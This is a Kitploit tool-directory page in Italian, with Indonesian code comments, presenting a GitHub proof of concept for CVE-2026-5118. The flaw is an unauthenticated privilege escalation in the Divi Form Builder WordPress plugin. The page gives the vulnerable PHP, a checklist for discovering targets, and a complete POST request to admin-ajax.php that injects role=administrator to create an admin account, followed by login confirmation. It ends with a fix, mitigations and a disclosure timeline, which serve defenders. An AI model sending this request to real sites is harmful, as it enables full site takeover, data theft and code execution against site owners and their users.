Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-5118 — CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Escalation di privilegi non autenticata tramite iniezione di ruolo | Kitploit
Strumenti/GitHubGitHub/zycoder0day/cve-2026-5118
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubzycoder0day/cve-2026-5118

CVE-2026-5118

CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Escalation di privilegi non autenticata tramite iniezione di ruolo

Vedi Repository
53 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🔥 CVE-2026-5118

Divi Form Builder <= 5.1.2 — Escalation dei privilegi non autenticata


🎯 Riepilogo

Il plugin WordPress Divi Form Builder versione 5.1.2 e precedenti presenta una vulnerabilità Critical che consente a attaccanti non autenticati di creare un account Amministratore direttamente tramite il modulo di registrazione.

Un campo nascosto. Un valore modificato. Accesso completo all'intero sito web.


🧨 Cosa può fare l'attaccante?


🔬 Analisi della vulnerabilità

Posizione della vulnerabilità

root@kitploit:~
includes/shared/handlers/FormSubmissionHandler.php → create_user()

Codice vulnerabile

root@kitploit:~
// Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';
}

// Baris ~1745: Langsung terapkan role yang diinjeksi!
$user = new WP_User($user_id);
$user->set_role($role);  // ← "administrator" langsung diterapkan

Perché funziona?

root@kitploit:~
                    ALUR VALIDASI YANG BERMASALAH
  ┌──────────────────────────────────────────────────────┐
  │  Penyerang kirim: role=administrator                │
  │                    ↓                                  │
  │  sanitize_text_field() → "administrator" (bersih)   │
  │                    ↓                                  │
  │  isset($roles_obj->roles["administrator"]) → TRUE   │ ← BUG! Hanya cek ADA/TIDAK
  │                    ↓                                  │
  │  $user->set_role("administrator") → ADMIN PENUH!    │ ← PRIVESC!
  └──────────────────────────────────────────────────────┘

  "administrator" ADALAH role yang valid di WordPress,
  jadi validasi isset() SELALU return true.
  Fungsi ini TIDAK PERNAH menolak role berbahaya.

Vettore di attacco

Il modulo di registrazione DFB contiene un input nascosto:

root@kitploit:~
<!-- Nilai asli dari developer -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">

<!-- Penyerang cukup ubah value-nya -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">

🛠️ Proof of Concept — Catena di attacco

Fase 1: Ricognizione — Trova il target

root@kitploit:~
[★] Target Discovery: Divi Form Builder indicator
    ├── Endpoint scan: 50+ path registrasi
    ├── Homepage link crawl: keyword priority
    ├── REST API: /wp-json/wp/v2/pages?search=register
    ├── Sitemap parsing: XML sitemap URLs
    ├── DFB REST API: /wp-json/divi-form-builder/v1
    ├── AJAX probe: de_fb_ajax_submit_ajax_handler
    ├── WooCommerce: /my-account/ sub-pages
    ├── robots.txt: custom sitemaps + disallow
    ├── Contact pages: DFB forms tersembunyi
    └── wp-json deep: content-first scan
    
[✓] Ditemukan: <input class="df_hidden_user_role" value="customer">
[✓] Versi plugin: v4.1.9 (VULNERABLE)
[✓] Form multi-step dengan reCAPTCHA v3

Fase 2: Estrazione dei parametri del modulo

root@kitploit:~
Parameter yang diperlukan:
  ├── fb_nonce:        [dari hidden input / de_fb_obj]
  ├── form_key:        [dari hidden input]
  ├── form_type:       register
  ├── divi-form-submit: yes
  └── role:            [INJEKSI: administrator]

Field pemetaan:
  ├── de_fb_user_login + user_login    (kedua varian wajib)
  ├── de_fb_user_email + user_email    
  ├── de_fb_user_pass  + user_pass     
  └── de_fb_pass_repeat               

Fase 3: Iniezione del ruolo — Escalation dei privilegi

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest

------POC
Content-Disposition: form-data; name="action"

de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"

[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"

administrator
------POC
Content-Disposition: form-data; name="form_type"

register
------POC
Content-Disposition: form-data; name="divi-form-submit"

yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"

attacker1337
------POC
Content-Disposition: form-data; name="user_login"

attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"

[email protected]
------POC
Content-Disposition: form-data; name="user_email"

[email protected]
------POC--

Fase 4: Verifica — Accesso amministratore

root@kitploit:~
[→] POST /wp-login.php
    user_login=attacker1337&user_pass=Str0ngP@ss!

[←] HTTP 302 → /wp-admin/

[✓] FULL ADMINISTRATOR ACCESS CONFIRMED
    ├── Dashboard: /wp-admin/
    ├── Users:     Can create/delete any user
    ├── Plugins:   Can install/activate/edit PHP
    ├── Themes:    Can edit template files → RCE
    └── Settings:  Full site control

🧪 Verifica di laboratorio

Il test è stato eseguito in un ambiente Docker isolato (WordPress 6.5 + DFB v5.0.0):

root@kitploit:~
╔══════════════════════════════════════════════════════╗
║  LAB VERIFICATION RESULTS                              ║
╠══════════════════════════════════════════════════════╣
║  Method: AJAX (admin-ajax.php)                        ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Method: Form POST (direct submission)                 ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Status: ★ PWNED — Full Admin Access ★               ║
╚══════════════════════════════════════════════════════╝

🔧 Correzioni raccomandate

Soluzione: Allowlist per la registrazione dei ruoli

root@kitploit:~
// SEBELUM (rentan):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';  // ← Hanya cek ADA, bukan AMAN
}

// SESUDAH (aman):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Hanya izinkan role yang aman untuk registrasi publik
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
    $role = 'subscriber';  // ← Tolak semua role berbahaya
}

Passaggi aggiuntivi

  1. Rimuovi il parametro role dal modulo frontend — Usa il default_user_role già esistente
  2. Aggiungi una verifica nonce rigorosa all'handler AJAX
  3. Aggiungi un capability check current_user_can('create_users') per i ruoli speciali
  4. Rate limiting sull'endpoint di registrazione per prevenire il brute-force

📊 Timeline

DataEvento
2026-04-13Versione 5.1.3 rilasciata (possibile fix secondo il changelog)
2026-05-21Vulnerabilità verificata in modo indipendente in laboratorio isolato
2026-05-21Responsible disclosure inviata a Divi Engine Security

🛡️ Mitigazione temporanea (prima della patch)

  1. Aggiorna alla versione 5.1.3+ se disponibile
  2. Disattiva il modulo di registrazione DFB finché non viene applicato il fix
  3. Usa una regola WAF per bloccare il parametro role=administrator nelle richieste POST
  4. Monitora la tabella wp_users per account admin nuovi e sconosciuti
  5. Limita l'accesso a /wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler

⚖️ Disclaimer

Questo documento è stato creato a scopo educativo e di responsible disclosure. Tutti i test di sfruttamento sono stati eseguiti in ambiente di laboratorio isolato. Sui target reali è stata condotta solo rilevazione passiva (identificazione di moduli e parametri, senza invio di dati di exploit).

L'autore non è responsabile dell'uso improprio delle informazioni contenute in questo documento.


CVE-2026-5118 • Divi Form Builder ≤ 5.1.2 • Unauthenticated Privilege Escalation
Discovered & Verified: 2026-05-21

Scarica lo strumento
CapacitàImpatto
🔑 Crea account admin senza loginFull Site Takeover
📦 Accedi ai dati dei clienti WooCommerceData Breach
💉 Modifica i file di plugin/temi (PHP)Remote Code Execution
🕳️ Crea backdoor nascostePersistent Access
👥 Visualizza tutti i dati degli utentiPrivacy Violation